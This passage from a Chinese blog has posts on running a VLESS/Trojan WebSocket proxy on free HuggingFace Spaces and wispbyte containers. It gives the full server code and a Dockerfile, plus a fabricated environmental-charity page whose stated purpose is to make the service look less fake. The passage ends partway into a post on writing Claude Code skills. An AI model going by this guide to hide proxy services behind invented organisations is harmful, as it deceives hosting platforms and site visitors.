    if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) {
      offset += 2;
    }

    const cmd = msg[offset];
    if (cmd !== 0x01) return false;
    offset += 1;
    const atyp = msg[offset];
    offset += 1;
    let host, port;
    if (atyp === 0x01) {
      host = msg.slice(offset, offset + 4).join('.');
      offset += 4;
    } else if (atyp === 0x03) {
      const hostLen = msg[offset];
      offset += 1;
      host = msg.slice(offset, offset + hostLen).toString();
      offset += hostLen;
    } else if (atyp === 0x04) {
      host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => 
        (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), [])
        .map(b => b.readUInt16BE(0).toString(16)).join(':');
      offset += 16;
    } else {
      return false;
    }

    port = msg.readUInt16BE(offset);
    offset += 2;

    if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) {
      offset += 2;
    }

    const duplex = createWebSocketStream(ws);

    resolveHost(host)
      .then(resolvedIP => {
        net.connect({ host: resolvedIP, port }, function() {
          if (offset < msg.length) {
            this.write(msg.slice(offset));
          }
          duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
        }).on('error', () => {});
      })
      .catch(error => {
        net.connect({ host, port }, function() {
          if (offset < msg.length) {
            this.write(msg.slice(offset));
          }
          duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
        }).on('error', () => {});
      });

    return true;
  } catch (error) {
    return false;
  }
}
// Ws 连接处理
wss.on('connection', (ws, req) => {
  const url = req.url || '';
  ws.once('message', msg => {
    if (msg.length > 17 && msg[0] === 0) {
      const id = msg.slice(1, 17);
      const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16));
      if (isVless) {
        if (!handleVlessConnection(ws, msg)) {
          ws.close();
        }
        return;
      }
    }

    if (!handleTrojanConnection(ws, msg)) {
      ws.close();
    }
  }).on('error', () => {});
});

httpServer.listen(PORT, () => {
  const scheme = tlsOptions ? 'HTTPS/WSS' : 'HTTP/WS';
  console.log(`Server is running on ${scheme} port ${PORT}`);
});

原始文件长这样：

huggingface.co薅羊毛记

Tue, 06 Jan 2026 09:00:01 +0800

应佬友的要求再出一篇文章，前面薅了wispbyte.com的羊毛，但是吧容器比较弱小，强一点的就是huggingface.co的容器：

Free版本就是2vCPU和16GB RAM，就已经非常强了

那先介绍一下huggingface，其实这是一家非常强悍的公司，可以称作是“AI界的GitHub”，可以分享模型，数据集，然后演示应用。

我们用到的就是这个演示应用（Spaces）

首先注册好账号，然后右上角点击头像按钮，新建一个Space

然后填入必须项

Space name：就写myhome
Short description：Save Our Home
License：MIT
SDK：选择Docker
Docker template: 选择Blank
Space hardware：选择Free

其它都不选，最后CreateSpace即可

然后就建好了，其实是给你开了一个git的repo

我们到右上角，选择Files选项

然后打开的文件页面，只有两个文件

老套路，建立一个Dockerfile文件，就是容器的打包文件

Dockerfile的内容，编辑好，然后提交，注意：Linux有严格的大小写要求，务必遵守

FROM nikolaik/python-nodejs:python3.14-nodejs22

WORKDIR /tmp

COPY index.js /tmp/index.js
COPY package.json /tmp/package.json

COPY index.html /tmp/index.html

CMD npm install && node index.js

然后我们把index.js准备好，需要修改几个地方

const http = require('http');
const https = require('https');
const fs = require('fs');
const axios = require('axios');
const net = require('net');
const path = require('path');
const crypto = require('crypto');
const { Buffer } = require('buffer');
const { WebSocket, createWebSocketStream } = require('ws');

// 生成 UUID v4
function generateUUID() {
  return crypto.randomUUID();
}

const UUID = process.env.UUID || generateUUID();
const DOMAIN = process.env.DOMAIN || '1234.abc.com';       // 填写项目域名
const WSPATH = process.env.WSPATH || UUID.slice(0, 8);     // 节点路径，默认获取uuid前8位
const SUB_PATH = process.env.SUB_PATH || 'sub';            // 获取节点的订阅路径
const NAME = process.env.NAME || '';                       // 节点名称
const PORT = process.env.PORT || 7860;                     // http和ws服务端口
const TLS_KEY_PATH = process.env.TLS_KEY_PATH || 'tls.key';
const TLS_CERT_PATH = process.env.TLS_CERT_PATH || 'tls.crt'; 

let ISP = '';
const GetISP = async () => {
  try {
    const res = await axios.get('https://api.ip.sb/geoip');
    const data = res.data;
    ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_');
  } catch (e) {
    ISP = 'Unknown';
  }
}
GetISP();

function normalizeSecret(value) {
  if (!value) return '';
  return value.includes('\\n') ? value.replace(/\\n/g, '\n') : value;
}

function readOptionalFile(filePath) {
  if (!filePath) return '';
  const resolvedPath = path.isAbsolute(filePath) ? filePath : path.join(__dirname, filePath);
  try {
    return fs.readFileSync(resolvedPath, 'utf8');
  } catch (error) {
    console.warn(`Failed to read TLS file ${resolvedPath}: ${error.message}`);
    return '';
  }
}

function getTLSOptions() {
  let key = normalizeSecret(process.env.TLS_KEY);
  let cert = normalizeSecret(process.env.TLS_CERT);

  if (!key) {
    key = readOptionalFile(TLS_KEY_PATH);
  }
  if (!cert) {
    cert = readOptionalFile(TLS_CERT_PATH);
  }

  if (key && cert) {
    return { key, cert };
  }
  if (key || cert) {
    console.warn('Both TLS key and certificate are required; falling back to HTTP.');
  }
  return null;
}

const requestHandler = (req, res) => {
  if (req.url === '/') {
    const filePath = path.join(__dirname, 'index.html');
    fs.readFile(filePath, 'utf8', (err, content) => {
      if (err) {
        res.writeHead(200, { 'Content-Type': 'text/html' });
        res.end('Hello world!');
        return;
      }
      res.writeHead(200, { 'Content-Type': 'text/html' });
      res.end(content);
    });
    return;
  } else if (req.url === `/${SUB_PATH}`) {
    const namePart = NAME ? `${NAME}-${ISP}` : ISP;
    const vlessURL = `vless://${UUID}@${DOMAIN}?encryption=none&security=tls&sni=${DOMAIN}:443&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`;
    const trojanURL = `trojan://${UUID}@${DOMAIN}?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}:443&path=%2F${WSPATH}#${namePart}`;
    const subscription = vlessURL + '\n' + trojanURL;
    const base64Content = Buffer.from(subscription).toString('base64');

    res.writeHead(200, { 'Content-Type': 'text/plain' });
    res.end(base64Content + '\n');
  } else {
    res.writeHead(404, { 'Content-Type': 'text/plain' });
    res.end('Not Found\n');
  }
};

const tlsOptions = getTLSOptions();
const httpServer = tlsOptions ? https.createServer(tlsOptions, requestHandler) : http.createServer(requestHandler);

const wss = new WebSocket.Server({ server: httpServer });
const uuid = UUID.replace(/-/g, "");
const DNS_SERVERS = ['8.8.4.4', '1.1.1.1'];
// Custom DNS
function resolveHost(host) {
  return new Promise((resolve, reject) => {
    if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) {
      resolve(host);
      return;
    }
    let attempts = 0;
    function tryNextDNS() {
      if (attempts >= DNS_SERVERS.length) {
        reject(new Error(`Failed to resolve ${host} with all DNS servers`));
        return;
      }
      const dnsServer = DNS_SERVERS[attempts];
      attempts++;
      const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`;
      axios.get(dnsQuery, {
        timeout: 5000,
        headers: {
          'Accept': 'application/dns-json'
        }
      })
      .then(response => {
        const data = response.data;
        if (data.Status === 0 && data.Answer && data.Answer.length > 0) {
          const ip = data.Answer.find(record => record.type === 1);
          if (ip) {
            resolve(ip.data);
            return;
          }
        }
        tryNextDNS();
      })
      .catch(error => {
        tryNextDNS();
      });
    }

    tryNextDNS();
  });
}

// VLE-SS处理
function handleVlessConnection(ws, msg) {
  const [VERSION] = msg;
  const id = msg.slice(1, 17);
  if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false;

  let i = msg.slice(17, 18).readUInt8() + 19;
  const port = msg.slice(i, i += 2).readUInt16BE(0);
  const ATYP = msg.slice(i, i += 1).readUInt8();
  const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') :
    (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) :
    (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : ''));
  ws.send(new Uint8Array([VERSION, 0]));
  const duplex = createWebSocketStream(ws);
  resolveHost(host)
    .then(resolvedIP => {
      net.connect({ host: resolvedIP, port }, function() {
        this.write(msg.slice(i));
        duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
      }).on('error', () => {});
    })
    .catch(error => {
      net.connect({ host, port }, function() {
        this.write(msg.slice(i));
        duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
      }).on('error', () => {});
    });

  return true;
}

// Tro-jan处理
function handleTrojanConnection(ws, msg) {
  try {
    if (msg.length < 58) return false;
    const receivedPasswordHash = msg.slice(0, 56).toString();
    const possiblePasswords = [
      UUID,
    ];

    let matchedPassword = null;
    for (const pwd of possiblePasswords) {
      const hash = crypto.createHash('sha224').update(pwd).digest('hex');
      if (hash === receivedPasswordHash) {
        matchedPassword = pwd;
        break;
      }
    }

    if (!matchedPassword) return false;
    let offset = 56;
    if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) {
      offset += 2;
    }

    const cmd = msg[offset];
    if (cmd !== 0x01) return false;
    offset += 1;
    const atyp = msg[offset];
    offset += 1;
    let host, port;
    if (atyp === 0x01) {
      host = msg.slice(offset, offset + 4).join('.');
      offset += 4;
    } else if (atyp === 0x03) {
      const hostLen = msg[offset];
      offset += 1;
      host = msg.slice(offset, offset + hostLen).toString();
      offset += hostLen;
    } else if (atyp === 0x04) {
      host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => 
        (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), [])
        .map(b => b.readUInt16BE(0).toString(16)).join(':');
      offset += 16;
    } else {
      return false;
    }

    port = msg.readUInt16BE(offset);
    offset += 2;

    if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) {
      offset += 2;
    }

    const duplex = createWebSocketStream(ws);

    resolveHost(host)
      .then(resolvedIP => {
        net.connect({ host: resolvedIP, port }, function() {
          if (offset < msg.length) {
            this.write(msg.slice(offset));
          }
          duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
        }).on('error', () => {});
      })
      .catch(error => {
        net.connect({ host, port }, function() {
          if (offset < msg.length) {
            this.write(msg.slice(offset));
          }
          duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex);
        }).on('error', () => {});
      });

    return true;
  } catch (error) {
    return false;
  }
}
// Ws 连接处理
wss.on('connection', (ws, req) => {
  const url = req.url || '';
  ws.once('message', msg => {
    if (msg.length > 17 && msg[0] === 0) {
      const id = msg.slice(1, 17);
      const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16));
      if (isVless) {
        if (!handleVlessConnection(ws, msg)) {
          ws.close();
        }
        return;
      }
    }

    if (!handleTrojanConnection(ws, msg)) {
      ws.close();
    }
  }).on('error', () => {});
});

httpServer.listen(PORT, () => {
  const scheme = tlsOptions ? 'HTTPS/WSS' : 'HTTP/WS';
  console.log(`Server is running on ${scheme} port ${PORT}`);
});

其中几个地方有修改，先看看huggingface给咱们的域名，右边，Settings右边的三个点按钮，

wispbyte.com薅羊毛记

Thu, 01 Jan 2026 09:00:01 +0800

有了Codex的加持，也渐渐得疯狂起来了，本身运维就是全干，对系统的各个点把控就比较精准

这次准备薅羊毛的是 wispbyte.com , 是欧洲的一个厂家

它可以免费建立一个server，准确的来说是一个容器，并且暴露一个端口出来

那先Create Server，Server Name 和 Server Description就都写 god01 好了

Server Type当然选Free Plan的，运行环境就选NodeJS

选完就按最下面的创建即可。

建好了那就去到 server的manage管理界面，下面有个Startup：

分析那句命令，意思很简单，如果配了git，就去拉代码，如果有存在npm的package.json，就先npm install安装，最后，运行index.js

下面是Docker Image，本来以为是可以随便引用别处的镜像，结果是不能，只能选固定的，那就选不太激进的 nodejs_22 ，保存好

然后就什么都不用动了

然后去到Files选项，缺省路径是 /hoe/container/

上面图是已经弄好的，如果是新服务器，是空无一物的

我们只需要准备5个文件和一个域名：

tls.crt 证书文件，用let’s encrypt申请
tls.key 密钥文件，用let’s encrypt申请
index.html 用来装饰的环保单页面，如果不加，就会显示hello world，太假了，可以让 gemini 给你生成一个，代码如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Green Network - Protect Earth</title>

    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }

        :root {
            --primary: #2e7d32;
            --secondary: #4caf50;
            --accent: #8bc34a;
            --light: #e8f5e9;
            --dark: #1b5e20;
            --text: #333333;
            --white: #ffffff;
        }

        body {
            background-color: var(--light);
            color: var(--text);
            line-height: 1.7; /* Slightly increased line height for readability */
            font-size: 16px;
        }

        header {
            background: rgba(46, 125, 50, 0.95); /* Slightly transparent primary color */
            color: var(--white);
            padding: 1rem 0;
            position: sticky;
            top: 0;
            z-index: 100;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15); /* Enhanced shadow */
        }

        .container {
            width: 90%;
            max-width: 1200px;
            margin: 0 auto;
        }

        .nav-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .logo {
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 1.8rem;
            font-weight: 700;
        }

        .logo i {
            font-size: 2rem;
        }

        nav ul {
            display: flex;
            list-style: none;
        }

        nav ul li {
            margin-left: 2rem;
        }

        nav ul li a {
            color: var(--white);
            text-decoration: none;
            font-weight: 500;
            transition: all 0.3s ease;
            padding: 0.5rem 0;
            position: relative;
        }

        nav ul li a:hover {
            color: var(--accent);
        }

        nav ul li a::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 0;
            height: 2px;
            background-color: var(--accent);
            transition: width 0.3s ease;
        }

        nav ul li a:hover::after {
            width: 100%;
        }

        .hero {
            background: linear-gradient(rgba(0, 0, 0, 0.6), rgba(0, 0, 0, 0.4)), url('https://images.unsplash.com/photo-1542601906990-b4d3fb778b09?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=2073&q=80');
            background-size: cover;
            background-position: center;
            height: 80vh;
            display: flex;
            align-items: center;
            text-align: center;
            color: var(--white);
        }

        .hero-content {
            max-width: 800px;
            margin: 0 auto;
        }

        .hero h1 {
            font-size: 3.5rem;
            margin-bottom: 1rem;
            text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.5);
        }

        .hero p {
            font-size: 1.3rem;
            margin-bottom: 2rem;
        }

        .btn {
            display: inline-block;
            background-color: var(--accent);
            color: var(--white);
            padding: 0.9rem 2.2rem; /* Slightly larger padding */
            border-radius: 8px; /* More modern rounded corners */
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s ease;
            border: none;
            cursor: pointer;
            box-shadow: 0 6px 10px rgba(0, 0, 0, 0.1); /* Slightly enhanced shadow */
        }

        .btn:hover {
            background-color: var(--primary);
            transform: translateY(-5px); /* More pronounced lift effect */
            box-shadow: 0 8px 15px rgba(0, 0, 0, 0.2); /* Stronger hover shadow */
        }

        section {
            padding: 5rem 0;
        }

        .section-title {
            text-align: center;
            margin-bottom: 3rem;
        }

        .section-title h2 {
            font-size: 2.5rem;
            color: var(--primary);
            margin-bottom: 1rem;
            position: relative;
            display: inline-block;
        }

        .section-title h2::after {
            content: '';
            position: absolute;
            bottom: -10px;
            left: 50%;
            transform: translateX(-50%);
            width: 90px; /* Slightly wider underline */
            height: 5px; /* Thicker underline */
            background-color: var(--accent);
            border-radius: 3px;
        }

        .section-title p {
            color: var(--text);
            max-width: 700px;
            margin: 0 auto;
            font-size: 1.1rem;
        }

        .about-content {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 3rem;
            align-items: center;
        }

        .about-img {
            border-radius: 12px; /* More rounded */
            overflow: hidden;
            box-shadow: 0 12px 25px rgba(0, 0, 0, 0.15); /* Enhanced shadow */
        }

        .about-img img {
            width: 100%;
            height: auto;
            display: block;
            transition: transform 0.5s ease;
        }

        .about-img:hover img {
            transform: scale(1.08); /* More pronounced zoom */
        }

        .about-text h3 {
            font-size: 2rem;
            margin-bottom: 1.5rem;
            color: var(--dark);
        }

        .about-text p {
            margin-bottom: 1.5rem;
            font-size: 1.05rem;
        }

        .stats {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 2rem;
            margin-top: 4rem; /* More space */
        }

        .stat-item {
            text-align: center;
            padding: 2.5rem 1.5rem; /* More padding */
            background-color: var(--white);
            border-radius: 12px; /* More rounded */
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.08); /* Enhanced shadow */
            transition: transform 0.3s ease, box-shadow 0.3s ease;
        }

        .stat-item:hover {
            transform: translateY(-12px); /* More pronounced lift */
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.15); /* Stronger hover shadow */
        }

        .stat-item h3 {
            font-size: 3rem; /* Larger numbers */
            color: var(--dark);
            margin-bottom: 0.8rem;
        }

        .stat-item p {
            color: var(--text);
            font-size: 1.1rem;
        }

        .initiatives {
            background-color: var(--white);
        }

        .initiatives-grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 2.5rem;
        }

        .initiative-card {
            background-color: var(--light);
            border-radius: 12px; /* More rounded */
            overflow: hidden;
            box-shadow: 0 8px 20px rgba(0, 0, 0, 0.08); /* Enhanced shadow */
            transition: transform 0.3s ease, box-shadow 0.3s ease;
        }

        .initiative-card:hover {
            transform: translateY(-12px); /* More pronounced lift */
            box-shadow: 0 15px 30px rgba(0, 0, 0, 0.15); /* Stronger hover shadow */
        }

        .initiative-img {
            height: 220px; /* Slightly taller images */
            overflow: hidden;
        }

        .initiative-img img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            transition: transform 0.5s ease;
        }

        .initiative-card:hover .initiative-img img {
            transform: scale(1.15); /* More pronounced zoom */
        }

        .initiative-content {
            padding: 2rem;
        }

        .initiative-content h3 {
            font-size: 1.6rem;
            margin-bottom: 1rem;
            color: var(--dark);
        }

        .initiative-content p {
            margin-bottom: 1.8rem;
            font-size: 1.05rem;
        }

        .cta {
            background: linear-gradient(to right, var(--primary), var(--secondary));
            color: var(--white);
            text-align: center;
            padding: 6rem 0; /* More padding */
        }

        .cta h2 {
            font-size: 3rem; /* Larger heading */
            margin-bottom: 1.8rem;
        }

        .cta p {
            font-size: 1.3rem;
            margin-bottom: 2.5rem;
            max-width: 700px;
            margin-left: auto;
            margin-right: auto;
        }

        .cta .btn {
            background-color: var(--white);
            color: var(--primary);
        }

        .cta .btn:hover {
            background-color: var(--accent);
            color: var(--white);
        }

        footer {
            background-color: var(--dark);
            color: var(--white);
            padding: 4rem 0 2rem; /* More padding */
        }

        .footer-content {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 2.5rem; /* More gap */
            margin-bottom: 2.5rem;
        }

        .footer-column h3 {
            font-size: 1.4rem;
            margin-bottom: 1.8rem;
            position: relative;
            padding-bottom: 12px;
        }

        .footer-column h3::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 50px; /* Wider underline */
            height: 3px; /* Thicker underline */
            background-color: var(--accent);
        }

        .footer-column p {
            margin-bottom: 1.2rem;
        }

        .footer-links {
            list-style: none;
        }

        .footer-links li {
            margin-bottom: 1rem;
        }

        .footer-links li a {
            color: var(--light);
            text-decoration: none;
            transition: all 0.3s ease;
        }

        .footer-links li a:hover {
            color: var(--accent);
            padding-left: 8px; /* More pronounced slide effect */
        }

        .social-links {
            display: flex;
            gap: 1.2rem;
            margin-top: 1.5rem;
        }

        .social-links a {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 50px; /* Larger social buttons */
            height: 50px;
            background-color: rgba(255, 255, 255, 0.15); /* Slightly more visible background */
            border-radius: 8px; /* Square with rounded corners */
            color: var(--white);
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s ease;
            font-size: 0.9rem;
        }

        .social-links a:hover {
            background-color: var(--accent);
            transform: translateY(-7px); /* More pronounced lift */
        }

        .copyright {
            text-align: center;
            padding-top: 2.5rem;
            border-top: 1px solid rgba(255, 255, 255, 0.15);
        }

        .mobile-menu {
            display: none;
            font-size: 1.5rem;
            cursor: pointer;
            padding: 0.5rem 1rem;
            border: 1px solid rgba(255, 255, 255, 0.3);
            border-radius: 5px;
            transition: all 0.3s ease;
        }

        .mobile-menu:hover {
            background-color: rgba(255, 255, 255, 0.1);
        }

        @media (max-width: 992px) {
            .about-content {
                grid-template-columns: 1fr;
            }

            .initiatives-grid {
                grid-template-columns: repeat(2, 1fr);
            }

            .footer-content {
                grid-template-columns: repeat(2, 1fr);
            }

            .stats {
                grid-template-columns: repeat(2, 1fr);
            }
        }

        @media (max-width: 768px) {
            .hero h1 {
                font-size: 2.8rem; /* Adjusted for better readability on smaller screens */
            }

            .hero p {
                font-size: 1.2rem; /* Adjusted for better readability on smaller screens */
            }

            nav ul {
                display: none;
                position: absolute;
                top: 100%;
                left: 0;
                width: 100%;
                background-color: var(--primary);
                flex-direction: column;
                padding: 1rem 0;
                text-align: center;
                box-shadow: 0 5px 10px rgba(0, 0, 0, 0.1);
            }

            nav ul.active {
                display: flex;
            }

            nav ul li {
                margin: 0;
                padding: 0.8rem 0;
            }

            .mobile-menu {
                display: block;
                font-size: 1.2rem; /* Slightly smaller for mobile */
                padding: 0.4rem 0.8rem;
            }

            .initiatives-grid {
                grid-template-columns: 1fr;
            }

            .footer-content {
                grid-template-columns: 1fr;
            }

            .stats {
                grid-template-columns: 1fr;
            }

            .social-links a {
                width: 45px; /* Slightly smaller social buttons */
                height: 45px;
                font-size: 0.85rem;
            }
        }

        /* Animation for stats counter */
        .counter {
            transition: all 0.5s ease;
        }
    </style>
</head>
<body>
    <!-- Header -->
    <header>
        <div class="container nav-container">
            <div class="logo">
                <span>Green Network</span>
            </div>
            <nav>
                <div class="mobile-menu">
                    Menu
                </div>
                <ul>
                    <li><a href="#home">Home</a></li>
                    <li><a href="#about">About</a></li>
                    <li><a href="#initiatives">Initiatives</a></li>
                    <li><a href="#get-involved">Get Involved</a></li>
                    <li><a href="#contact">Contact</a></li>
                </ul>
            </nav>
        </div>
    </header>

    <!-- Hero Section -->
    <section class="hero" id="home">
        <div class="container hero-content">
            <h1>Protect Our Planet, Preserve Our Future</h1>
            <p>Join the global movement to create a sustainable world through conservation, education, and community action.</p>
            <a href="#get-involved" class="btn">Join Our Network</a>
        </div>
    </section>

    <!-- About Section -->
    <section id="about">
        <div class="container">
            <div class="section-title">
                <h2>About Green Network</h2>
                <p>We are a global community dedicated to environmental protection and sustainable development.</p>
            </div>
            <div class="about-content">
                <div class="about-img">
                    <img src="https://images.unsplash.com/photo-1507591064344-4c6ce005b128?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=2070&q=80" alt="Team planting trees">
                </div>
                <div class="about-text">
                    <h3>Our Mission</h3>
                    <p>Green Network is committed to creating a sustainable future by protecting natural ecosystems, promoting renewable energy, and empowering communities to take environmental action.</p>
                    <p>Founded in 2010, we've grown from a small grassroots organization to an international network with over 50,000 members across 120 countries.</p>
                    <p>Our approach combines scientific research, community engagement, and policy advocacy to address the most pressing environmental challenges of our time.</p>
                    <a href="#" class="btn">Learn More</a>
                </div>
            </div>
            <div class="stats">
                <div class="stat-item">
                    <h3 class="counter" data-target="2500000">0</h3>
                    <p>Trees Planted</p>
                </div>
                <div class="stat-item">
                    <h3 class="counter" data-target="50000">0</h3>
                    <p>Active Members</p>
                </div>
                <div class="stat-item">
                    <h3 class="counter" data-target="120">0</h3>
                    <p>Countries Reached</p>
                </div>
                <div class="stat-item">
                    <h3 class="counter" data-target="1500">0</h3>
                    <p>Cleanup Projects</p>
                </div>
            </div>
        </div>
    </section>

    <!-- Initiatives Section -->
    <section class="initiatives" id="initiatives">
        <div class="container">
            <div class="section-title">
                <h2>Our Initiatives</h2>
                <p>Discover the key programs and projects we're implementing to protect our planet.</p>
            </div>
            <div class="initiatives-grid">
                <div class="initiative-card">
                    <div class="initiative-img">
                        <img src="https://dialogue.earth/content/uploads/2021/04/lessons-from-the-rush-to-reforest-china-dialogue-2400x1599.jpg" alt="Reforestation">
                    </div>
                    <div class="initiative-content">
                        <h3>Global Reforestation</h3>
                        <p>Planting millions of trees worldwide to restore ecosystems, combat climate change, and protect biodiversity.</p>
                        <a href="#" class="btn">Learn More</a>
                    </div>
                </div>
                <div class="initiative-card">
                    <div class="initiative-img">
                        <img src="https://images.unsplash.com/photo-1621451537084-482c73073a0f?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=1974&q=80" alt="Ocean Conservation">
                    </div>
                    <div class="initiative-content">
                        <h3>Ocean Conservation</h3>
                        <p>Protecting marine ecosystems, reducing plastic pollution, and promoting sustainable fishing practices.</p>
                        <a href="#" class="btn">Learn More</a>
                    </div>
                </div>
                <div class="initiative-card">
                    <div class="initiative-img">
                        <img src="https://images.unsplash.com/photo-1508514177221-188b1cf16e9d?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D&auto=format&fit=crop&w=2072&q=80" alt="Renewable Energy">
                    </div>
                    <div class="initiative-content">
                        <h3>Renewable Energy</h3>
                        <p>Promoting solar, wind, and other clean energy sources to reduce dependence on fossil fuels.</p>
                        <a href="#" class="btn">Learn More</a>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- CTA Section -->
    <section class="cta" id="get-involved">
        <div class="container">
            <h2>Join Our Global Movement</h2>
            <p>Together, we can create a sustainable future for generations to come. Every action counts, no matter how small.</p>
            <a href="#" class="btn">Become a Member</a>
        </div>
    </section>

    <!-- Footer -->
    <footer id="contact">
        <div class="container">
            <div class="footer-content">
                <div class="footer-column">
                    <h3>Green Network</h3>
                    <p>We are dedicated to protecting our planet through collaborative action, education, and sustainable solutions.</p>
                    <div class="social-links">
                        <a href="#">Facebook</a>
                        <a href="#">Twitter</a>
                        <a href="#">Instagram</a>
                        <a href="#">LinkedIn</a>
                    </div>
                </div>
                <div class="footer-column">
                    <h3>Quick Links</h3>
                    <ul class="footer-links">
                        <li><a href="#home">Home</a></li>
                        <li><a href="#about">About Us</a></li>
                        <li><a href="#initiatives">Initiatives</a></li>
                        <li><a href="#get-involved">Get Involved</a></li>
                        <li><a href="#contact">Contact</a></li>
                    </ul>
                </div>
                <div class="footer-column">
                    <h3>Our Programs</h3>
                    <ul class="footer-links">
                        <li><a href="#">Reforestation</a></li>
                        <li><a href="#">Ocean Cleanup</a></li>
                        <li><a href="#">Wildlife Protection</a></li>
                        <li><a href="#">Climate Education</a></li>
                        <li><a href="#">Sustainable Agriculture</a></li>
                    </ul>
                </div>
                <div class="footer-column">
                    <h3>Contact Us</h3>
                    <p>Copper Creek Drive, New York</p>
                    <p>+1 (312) 171-0771</p>
                    <p>support@greennetwork.org</p>
                </div>
            </div>
            <div class="copyright">
                <p>&copy; 2025 Green Network. All rights reserved.</p>
            </div>
        </div>
    </footer>

    <script>
        // Mobile Menu Toggle
        document.querySelector('.mobile-menu').addEventListener('click', function() {
            document.querySelector('nav ul').classList.toggle('active');
        });

        // Counter Animation
        function animateCounters() {
            const counters = document.querySelectorAll('.counter');
            const speed = 200; // The lower the slower

            counters.forEach(counter => {
                const target = +counter.getAttribute('data-target');
                const count = +counter.innerText;

                const inc = target / speed;

                if(count < target) {
                    counter.innerText = Math.ceil(count + inc);
                    setTimeout(animateCounters, 1);
                } else {
                    counter.innerText = target;
                }
            });
        }

        // Initialize counters when page loads
        window.addEventListener('load', animateCounters);

        // Smooth scrolling for navigation links
        document.querySelectorAll('a[href^="#"]').forEach(anchor => {
            anchor.addEventListener('click', function(e) {
                e.preventDefault();

                const targetId = this.getAttribute('href');
                if(targetId === '#') return;

                const targetElement = document.querySelector(targetId);
                if(targetElement) {
                    window.scrollTo({
                        top: targetElement.offsetTop - 80,
                        behavior: 'smooth'
                    });

                    document.querySelector('nav ul').classList.remove('active');
                }
            });
        });
    </script>
</body>

</html>

package.json 文件，index.js 运行时需要依赖的安装包文件，安装了2个包，axios和ws

Claude code的skills编写

Wed, 31 Dec 2025 09:40:01 +0800

最近天天都在学习claude code，Skills == 工具箱（技能库）

我们可以把skills看成是一个个的小程序，这些程序有入口，有参数，有限制。

那通过一篇md文件，来引导claude来智能的传参调用你的程序，这样技能箱就越来越丰富。

一、我们首先准备这个可执行 python 脚本

这个是通过CLIProxyAPI的反代，把antigravity的gemini3模型给抽出来，然后生图

看最下面，有一堆参数

#!/usr/bin/env python3
# ============================================================
# Configuration - Edit these values before use
# 配置项 - 使用前请修改以下值
# ============================================================
API_BASE_URL = "http://127.0.0.1:8317"  # API server address / API 服务器地址
API_KEY = "key"                          # Your API key / 你的 API 密钥
MODEL = "gemini-3-pro-image-preview"     # Model name / 模型名称
# ============================================================

import argparse
import base64
import json
import os
import sys
from datetime import datetime
from pathlib import Path
from urllib import request
from mimetypes import guess_type

try:
    from google import genai
    from google.genai import types
except ImportError:
    genai = None
    types = None

VALID_ASPECT_RATIOS = ["1:1", "2:3", "3:2", "3:4", "4:3", "4:5", "5:4", "9:16", "16:9", "21:9"]
VALID_RESOLUTIONS = ["1K", "2K", "4K"]


